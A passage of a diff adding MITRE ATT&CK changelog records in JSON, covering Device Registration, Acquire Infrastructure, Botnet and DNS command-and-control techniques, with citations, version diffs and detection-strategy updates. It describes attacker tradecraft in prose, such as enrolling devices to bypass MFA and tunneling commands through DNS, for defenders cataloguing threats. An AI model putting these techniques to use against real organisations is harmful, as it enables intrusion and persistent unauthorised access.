", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0310: Suspicious Addition to Local or Domain Groups" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-04 18:30:38.989000+00:00", + "modified": "2025-05-22 21:02:06.575000+00:00", + "name": "Device Registration", + "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/005", + "external_id": "T1098.005" + }, + { + "source_name": "Expel Atlas Lion 2025", + "description": "Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.", + "url": "https://expel.com/blog/observing-atlas-lion-part-one/" + }, + { + "source_name": "CISA MFA PrintNightmare", + "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + }, + { + "source_name": "Mandiant APT29 Microsoft 365 2022", + "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", + "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft" + }, + { + "source_name": "AADInternals - Conditional Access Bypass", + "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.", + "url": "https://o365blog.com/post/mdm" + }, + { + "source_name": "AADInternals - BPRT", + "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.", + "url": "https://o365blog.com/post/bprt/" + }, + { + "source_name": "AADInternals - Device Registration", + "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.", + "url": "https://o365blog.com/post/devices/" + }, + { + "source_name": "DarkReading FireEye SolarWinds", + "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.", + "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack" + }, + { + "source_name": "Microsoft - Device Registration", + "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa" + }, + { + "source_name": "Microsoft DEV-0537", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pawel Partyka, Microsoft 365 Defender", + "Mike Moran", + "Joe Gumke, U.S. Bank", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Active Directory: Active Directory Object Creation\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-05-22 21:02:06.575000+00:00\", \"old_value\": \"2025-04-15 22:17:39.860000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\\n\\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"old_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n\\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n \\n-Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \\n+Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\\n \\n Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Expel Atlas Lion 2025\", \"description\": \"Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.\", \"url\": \"https://expel.com/blog/observing-atlas-lion-part-one/\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may register a device to an adversary-controlledt1Adversaries may register a device to an adversary-controlled
> account. Devices may be registered in a multifactor authent> account. Devices may be registered in a multifactor authent
>ication (MFA) system, which handles authentication to the ne>ication (MFA) system, which handles authentication to the ne
>twork, or in a device management system, which handles devic>twork, or in a device management system, which handles devic
>e access and compliance.  MFA systems, such as Duo or Okta, >e access and compliance.  MFA systems, such as Duo or Okta, 
>allow users to associate devices with their accounts in orde>allow users to associate devices with their accounts in orde
>r to complete MFA requirements. An adversary that compromise>r to complete MFA requirements. An adversary that compromise
>s a user\u2019s credentials may enroll a new device in order to b>s a user\u2019s credentials may enroll a new device in order to b
>ypass initial MFA requirements and gain persistent access to>ypass initial MFA requirements and gain persistent access to
> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar
>kReading FireEye SolarWinds) In some cases, the MFA self-enr>kReading FireEye SolarWinds) In some cases, the MFA self-enr
>ollment process may require only a username and password to >ollment process may require only a username and password to 
>enroll the account's first device or to enroll a device to a>enroll the account's first device or to enroll a device to a
>n inactive account. (Citation: Mandiant APT29 Microsoft 365 >n inactive account. (Citation: Mandiant APT29 Microsoft 365 
>2022)  Similarly, an adversary with existing access to a net>2022)  Similarly, an adversary with existing access to a net
>work may register a device to Entra ID and/or its device man>work may register a device or a virtual machine to Entra ID 
>agement system, Microsoft Intune, in order to access sensiti>and/or its device management system, Microsoft Intune, in or
>ve data or resources while bypassing conditional access poli>der to access sensitive data or resources while bypassing co
>cies.(Citation: AADInternals - Device Registration)(Citation>nditional access policies.(Citation: AADInternals - Device R
>: AADInternals - Conditional Access Bypass)(Citation: Micros>egistration)(Citation: AADInternals - Conditional Access Byp
>oft DEV-0537)   Devices registered in Entra ID may be able t>ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio
>o conduct [Internal Spearphishing](https://attack.mitre.org/>n 2025)  Devices registered in Entra ID may be able to condu
>techniques/T1534) campaigns via intra-organizational emails,>ct [Internal Spearphishing](https://attack.mitre.org/techniq
> which are less likely to be treated as suspicious by the em>ues/T1534) campaigns via intra-organizational emails, which 
>ail client.(Citation: Microsoft - Device Registration) Addit>are less likely to be treated as suspicious by the email cli
>ionally, an adversary may be able to perform a [Service Exha>ent.(Citation: Microsoft - Device Registration) Additionally
>ustion Flood](https://attack.mitre.org/techniques/T1499/002)>, an adversary may be able to perform a [Service Exhaustion 
> on an Entra ID tenant by registering a large number of devi>Flood](https://attack.mitre.org/techniques/T1499/002) on an 
>ces.(Citation: AADInternals - BPRT)>Entra ID tenant by registering a large number of devices.(Ci
 >tation: AADInternals - BPRT)
", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0026: Active Directory (Active Directory Object Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0036: Suspicious Device Registration via Entra ID or MFA Platform" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-30 16:37:40.271000+00:00", + "modified": "2025-10-24 17:48:20.468000+00:00", + "name": "Acquire Infrastructure", + "description": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583", + "external_id": "T1583" + }, + { + "source_name": "amnesty_nso_pegasus", + "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.", + "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/" + }, + { + "source_name": "Mandiant APT29 Microsoft 365 2022", + "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", + "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft" + }, + { + "source_name": "FBI Proxies Credential Stuffing", + "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.", + "url": "https://www.ic3.gov/Media/News/2022/220818.pdf" + }, + { + "source_name": "Free Trial PurpleUrchin", + "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", + "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "TrendmicroHideoutsLease", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\", \"Domain Name: Active DNS\", \"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.468000+00:00\", \"old_value\": \"2025-04-15 21:44:09.753000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \\n\\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \\n-\\n-Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)", + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0895: Detection of Acquire Infrastructure" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:49:05.467000+00:00", + "modified": "2025-10-24 17:48:36.255000+00:00", + "name": "Botnet", + "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks \u2013 consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices \u2013 to serve as a botnet.(Citation: ORB Mandiant) \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/005", + "external_id": "T1583.005" + }, + { + "source_name": "Krebs-Booter", + "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/" + }, + { + "source_name": "Krebs-Bazaar", + "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/" + }, + { + "source_name": "Krebs-Anna", + "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/" + }, + { + "source_name": "Imperva DDoS for Hire", + "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.", + "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/" + }, + { + "source_name": "Norton Botnet", + "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.", + "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html" + }, + { + "source_name": "ORB Mandiant", + "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.255000+00:00\", \"old_value\": \"2025-04-16 13:29:34.161000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0837: Detection of Botnet" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:27:31.768000+00:00", + "modified": "2025-10-24 17:48:27.877000+00:00", + "name": "DNS", + "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e.\u202f[Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071/004", + "external_id": "T1071.004" + }, + { + "source_name": "Medium DnsTunneling", + "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.", + "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government", + "description": "Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.", + "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/" + }, + { + "source_name": "PAN DNS Tunneling", + "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.", + "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling" + }, + { + "source_name": "DNS Beacons", + "description": "Vercara. (n.d.). Retrieved July 21, 2025.", + "url": "https://vercara.digicert.com/resources/dns-beacons#page_top" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Jan Petrov, Citi", + "Chris Heald" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.877000+00:00\", \"old_value\": \"2025-04-15 19:58:10.065000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n\\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)\\n\\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e.\\u202f[Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic. \", \"old_value\": \"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n\\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) \", \"diff\": \"--- \\n+++ 